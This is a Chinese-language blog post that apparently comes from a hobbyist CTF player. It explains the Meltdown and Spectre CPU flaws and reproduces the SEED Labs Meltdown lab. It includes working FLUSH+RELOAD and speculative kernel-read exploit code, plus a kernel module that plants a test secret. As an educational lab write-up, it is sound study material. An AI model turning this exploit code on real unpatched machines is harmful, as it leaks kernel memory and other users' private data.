menu Alkaid #二进制初学者 / 网络安全 / 大龄CTF退役选手
CPU Meltdown漏洞初体验
405 浏览 | 2020-07-03 | 分类:心路历程 | 标签:

引言

1月4日,国外安全研究机构公布了两组CPU漏洞,由于漏洞严重而且影响范围广泛,引起了全球的关注。

Meltdown(熔断)应对漏洞CVE-2017-5754

Spectre(幽灵) 对应漏洞CVE-2017-5753/CVE-2017-5715

利用Meltdown漏洞,低权限用户可以访问内核的内容,获取本地操作系统底层的信息;当用户通过浏览器访问了包含Spectre恶意利用程序的网站时,用户的如帐号,密码,邮箱等个人隐私信息可能会被泄漏;在云服务场景中,利用Spectre可以突破用户间的隔离,窃取其他用户的数据。

Meltdown漏洞影响几乎所有的Intel CPU和部分ARM CPU,而Spectre则影响所有的Intel CPU和AMD CPU,以及主流的ARM CPU。从个人电脑、服务器、云计算机服务器到移动端的智能手机,都受到这两组硬件漏洞的影响。

漏洞成因

这两组漏洞来源于芯片厂商为了提高CPU性能而引入的新特性。现代CPU为了提高处理性能,会采用乱序执行(Out-of-Order Execution)和预测执行(Speculative Prediction)。

  • 乱序执行
    CPU遇到指令依赖的情况时,会转向下条不依赖的指令去执行。
  • 分支预测与推测执行
    当包含CPU处理分支指令时就会遇到一个问题,根据判定条件的真/假的不同,有可能会产生跳转。此时CPU不会等待判定结果,而回预测出某一个条件分支去执行。

Meltdown漏洞对应的是乱序执行,Spectre对应的是分支预测与推测执行。
Meltdown的原理可以比喻成大佬举得例子:

1:麋鹿每天都在同一家KFC点汉堡,这家KFC主营汉堡,鸡翅,薯条和可乐。 2:狗仔(卓sir)想知道她吃的是什么,于是派出狗仔A去侦察。
3:狗仔A在某一天跟在麋鹿的身后 4:麋鹿和收银员说,点和昨天一样的。然后拿走了包装好的的汉堡(密码)。
5:狗仔A对收银员说,我点和麋鹿一样的。(非法读取)
6:收银员说你这样侵犯了麋鹿的隐私,不可以这么点。然后狗仔A就被叉出去了(执行非常读取时被发现,终止进程)。
7:狗仔公司换了战术,派两个狗仔第二天跟在麋鹿身后排队(使用漏洞)。 8:狗仔A在麋鹿点餐的时候大声喊,我要点和麋鹿一样的(发送指令)。
9:厨师听到了,多做了一个汉堡(汉堡进入缓存,CPU预测指令&乱序执行)。狗仔A涉嫌侵犯麋鹿隐私被叉出去X2!(非法读取被发现,终止进程)
10:狗仔B说,我饿死了,我要鸡翅,薯条,可乐和汉堡。哪个先好先给我哪个。
11:狗仔B先拿到了汉堡(从内存中读取此段缓存速度最快)卓sir同时也知道了麋鹿点的是汉堡。

漏洞详细复现

Meltdown

复现主要参考了seedlab的Meltdown attack攻击教程,写的很详细,一步一步跟着教程做,理解了很多。

代码链接
https://seedsecuritylabs.org/Labs_16.04/System/Meltdown_Attack/files/Meltdown_Attack.zip
https://seedsecuritylabs.org/Labs_16.04/PDF/Meltdown_Attack.pdf

测试环境
ubuntu 16.04 32位
GCC version 5.4.0

熔断攻击和幽灵攻击都使用CPU缓存作为偷取受保护秘密的边通道,在这种测信道攻击中使用的技术叫做FLUSH+RELOAD。CPU高速缓存是计算机CPU使用的一种硬件高速缓存,用于减少从主存访问数据的平均成本(时间或能量)。从CPU缓存访问数据比从主存访问要快得多。当数据从主存取出时,它们通常被CPU缓存,所以如果同样的数据被再次使用,访问时间将会快得多。因此,当CPU需要访问一些数据时,首先查看缓存,如果数据在那里(这称为缓存命中),它将直接从那里获取。如果数据不在那里, CPU将到主存储器去获取数据。后一种情况花费的时间要长得多。大多数现代CPU都有CPU缓存。

可以利用代码来检测,从缓存和存储器获取数据的时间长度:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <emmintrin.h>
#include <x86intrin.h>

uint8_t array[10*4096];

int main(int argc, const char **argv) {
  int junk=0;
  register uint64_t time1, time2;
  volatile uint8_t *addr;
  int i;
  
  //初始化数组
  for(i=0; i<10; i++) array[i*4096]=1;

  //清空CPU缓存
  for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);

  //访问一些数组项,使其进入CPU缓存
  array[3*4096] = 100;
  array[7*4096] = 200;

  for(i=0; i<10; i++) {
    addr = &array[i*4096];
    time1 = __rdtscp(&junk);                
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;       
    printf("Access time for array[%d*4096]: %d CPU cycles\n",i, (int)time2);
  }
  return 0;
}

很明显,array[34096]和array[74096] 由于在CPU缓存,所以访问速度比其他项要快:

根据上述的缓存和存储器获取数据的比较,我们可以得出这种攻击方式,使用FLUSH+RELOAD技术利用侧信道获取secret

FLUSH+RELOAD步骤有三步:

  • 从cache内存FLUSH所有数组,来保证数组没有被缓存到cache中。
  • 唤醒缺陷函数。这个缺陷函数基于secret来访问数组的某个元素。这个行为导致相应的数组元素被缓存到cache。
  • RELOAD整个数组,并且测量每个元素重载的时间。如果某个元素加载比较快,那么意味着这个元素之前就已经在cache中了。这个元素很有可能就是之前缺陷函数访问的那个元素。因此,我们可以知道secret是什么了。

然后可以看下攻击代码,先分解下功能:

清空CPU缓存:

void flushSideChannel()
{
  int i;

  //Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;

  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
}

meltdown攻击:

void meltdown_asm(unsigned long kernel_data_addr)
{
   char kernel_data = 0;
   
   //用eax循环400次加0x141的方式来增加成功概率
   asm volatile(
       ".rept 400;"                
       "add $0x141, %%eax;"
       ".endr;"                    
    
       :
       :
       : "eax"
   ); 
    
   //下面的代码会造成错误,因为用户态无法读内核地址,但是由于CPU的乱序执行,下一条会先把kernel_data读到缓存做为备用
   kernel_data = *(char*)kernel_data_addr;  
   array[kernel_data * 4096 + DELTA] += 1;              
}

重加载利用侧信道攻击:

void reloadSideChannelImproved()
{
  int i;
  volatile uint8_t *addr;
  register uint64_t time1, time2;
  int junk = 0;
  for (i = 0; i < 256; i++) {
     addr = &array[i * 4096 + DELTA];
     time1 = __rdtscp(&junk);
     junk = *addr;
     time2 = __rdtscp(&junk) - time1;
     if (time2 <= CACHE_HIT_THRESHOLD)
        scores[i]++; /* if cache hit, add 1 for this value */
  }
}

主函数:

int main()
{
  int i, j, ret = 0;
  
  //注册一个信号量,用来捕获错误信号
  signal(SIGSEGV, catch_segv);

  int fd = open("/proc/secret_data", O_RDONLY);
  if (fd < 0) {
    perror("open");
    return -1;
  }
  
  memset(scores, 0, sizeof(scores));
  flushSideChannel();
  
      
  //在同一个地址上攻击1000次,增加成功概率
  for (i = 0; i < 1000; i++) {
    ret = pread(fd, NULL, 0, 0);
    if (ret < 0) {
      perror("pread");
      break;
    }
    
    //清空缓存
    for (j = 0; j < 256; j++) 
        _mm_clflush(&array[j * 4096 + DELTA]);

    if (sigsetjmp(jbuf, 1) == 0) { meltdown_asm(0xfb61b000); }

    reloadSideChannelImproved();
  }

  //利用统计技术,获取出现次数最多的secret value
  int max = 0;
  for (i = 0; i < 256; i++) {
    if (scores[max] < scores[i]) max = i;
  }

  printf("The secret value is %d %c\n", max, max);
  printf("The number of hits is %d\n", scores[max]);

  return 0;
}

通过写一个linux内核程序,来往内核地址上写入SEEDLabs字符串,并获取这个地址,将attack代码中要读取的地址改成这个地址:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/vmalloc.h>
#include <linux/version.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/uaccess.h>

static char secret[8] = {'S','E','E','D','L','a','b','s'};
static struct proc_dir_entry *secret_entry;
static char* secret_buffer;

static int test_proc_open(struct inode *inode, struct file *file)
{
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4,0,0)
   return single_open(file, NULL, PDE(inode)->data);
#else
   return single_open(file, NULL, PDE_DATA(inode));
#endif
}

static ssize_t read_proc(struct file *filp, char *buffer, 
                         size_t length, loff_t *offset)
{
   memcpy(secret_buffer, &secret, 8);              
   return 8;
}

static const struct file_operations test_proc_fops =
{
   .owner = THIS_MODULE,
   .open = test_proc_open,
   .read = read_proc,
   .llseek = seq_lseek,
   .release = single_release,
};

static __init int test_proc_init(void)
{
   // write message in kernel message buffer
   printk("secret data address:%p\n", &secret);      

   secret_buffer = (char*)vmalloc(8);

   // create data entry in /proc
   secret_entry = proc_create_data("secret_data", 
                  0444, NULL, &test_proc_fops, NULL);
   if (secret_entry) return 0;

   return -ENOMEM;
}

static __exit void test_proc_cleanup(void)
{
   remove_proc_entry("secret_data", NULL);
}

module_init(test_proc_init);
module_exit(test_proc_cleanup);

makefile在上面的源代码中,编译方法:

make
sudo insmod MeltdownKernel.ko
dmesg | grep 'secret data address'

攻击结果:

参考文章

https://www.sohu.com/a/215037735_116366
解读CPU漏洞:熔断和幽灵
https://cloud.tencent.com/developer/article/1078161
从CPU漏洞Meltdown&Spectre看侧信道攻击
https://www.zhihu.com/question/265012502/answer/289376501
如何看待 2018 年 1 月 2 日爆出的 Intel CPU 设计漏洞?
https://seedsecuritylabs.org/Labs_16.04/System/Meltdown_Attack/
Meltdown Attack Lab

温柔正确的人总是难以生存,因为这世界既不温柔,也不正确

发表评论

email
web

全部评论 (共 1 条评论)

    whali3n51
    2020-07-22 18:46
    很生动